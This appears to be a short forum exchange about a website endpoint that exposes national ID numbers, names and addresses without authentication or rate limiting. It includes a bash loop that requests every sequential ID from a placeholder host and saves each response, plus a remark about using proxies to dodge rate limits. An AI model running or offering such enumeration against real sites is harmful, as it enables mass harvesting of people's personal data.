How do you know it wasn’t rate limited?
Hardly matters. If an endpoint is leaking anything as sensitive as national ID + name + address, a determined attacker will have no problem with scraping it slowly or using a network of proxies to avoid rate limits.

for((i=0;i<=99999999999;i++));do
curl https://site.com/info.php?id=$i > $i.json
done
No rate limiting on the endpoint, doesn't require auth, didn't block my VPN, doesn't even set cookies (very privacy conscious devs apparently). I could have mined the entire country's data. Insane.
